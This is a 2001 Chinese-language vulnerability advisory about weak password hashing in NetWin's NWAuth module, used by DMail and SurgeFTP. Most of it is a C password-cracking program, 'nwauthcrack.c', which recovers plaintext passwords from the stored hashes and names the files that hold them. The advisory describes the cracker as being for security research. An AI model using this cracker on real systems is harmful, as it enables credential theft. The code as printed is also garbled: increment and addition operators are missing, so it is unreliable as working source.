Netwin NWAuth 脆弱密码加密漏洞

发布日期：2001-07-20
更新日期：2001-07-23

受影响系统：

NetWin DMail 2.8i
NetWin DMail 2.8h
NetWin DMail 2.8g
NetWin DMail 2.8f
NetWin DMail 2.8e
NetWin DMail 2.7r
NetWin DMail 2.7q
NetWin DMail 2.7
NetWin DMail 2.5d
NetWin Surge FTP 2.0b
NetWin Surge FTP 2.0a
Netwin SurgeFTP 1.0b

描述：

---

BUGTRAQ ID: 3075
CVE(CAN) ID: CAN-2001-1354

NWAuth是Netwin的外部认证模块，被好几个Netwin的产品所采用。

NWAuth使用了一个简单的单向HASH函数对密码进行加密，因此攻击者很容易对这些密码
进行解密。

<*来源：ByteRage （byterage@yahoo.com）*>



测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

ByteRage （byterage@yahoo.com）提供了如下测试代码：

/********************************************************************
* nwauthcrack.c - NetWin Authentication Module password cracker *
* the SurgeFTP encrypted passwords can be found in the admin.dat & *
* nwauth.clg files in the nwauth.exe directory *
* by [ByteRage] <byterage@yahoo.com> [http://www.byterage.cjb.net] *
********************************************************************/

#include <string.h>
#include <stdio.h>

FILE *fh;
/* the following table indices refer to the characters our
generated password may consist of (true/false), since
we don't want to go into too much trouble when typing
everything in :) */
const char okaychars[256] = {
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,
0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
};

/* DECRYPTION ALGORITHMS */
int enumpwds(unsigned char encrypted[]) {
int heavycrypt0;
unsigned int num=0, i, x;
unsigned char j[256], decrypted[256];
for(i=0; i<256;i ) { j[i] = 0; }
brute:
heavycrypt0 = (unsigned char)encrypted[1]*255 (unsigned char)encrypted[0];
for(i=0; i 2 < strlen(encrypted); i ) {
for(x=j[i]; x < 256; x ) {
if ((x * (heavycrypt0 1) % 40 == (encrypted[i 2]-0x41)) & okaychars[x]) {
decrypted[i] = x;
break;
}
}
if (x == 256) {
next:
if (i == 0) return num;
if (j[i-1] < 256) { j[i-1] = decrypted[i-1] 1; x = i; } else { i--; goto
next; }
for (i=x; i < 256; i ) { j[i] = 0; }
goto brute;
}
heavycrypt0 = x; heavycrypt0 *= 3; heavycrypt0 %= 0x7D00;
}
decrypted[i] = '\x00';
num ;
printf("%s\n", decrypted);
if (j[i-1] < 256) { j[i-1] = decrypted[i-1] 1; x = i; } else { i--; goto
next; }
for (i=x; i < 256; i ) { j[i] = 0; }
goto brute;
}
/* DECRYPTION ALGORITHMS END */

void main(int argc, char ** argv) {
char buf[256]; int k, l;

printf("NetWin Authentication Module password cracker by [ByteRage]\n\n");

if (argc < 2) { printf("Syntax : %s <password>\n", argv[0]); return; }
printf("%s ->\n",argv[1]);

printf("\n%d passwords found for %s\n",enumpwds(argv[1]),argv[1]);
}



建议：

---

厂商补丁：

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本：
http://netwinsite.com/

文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!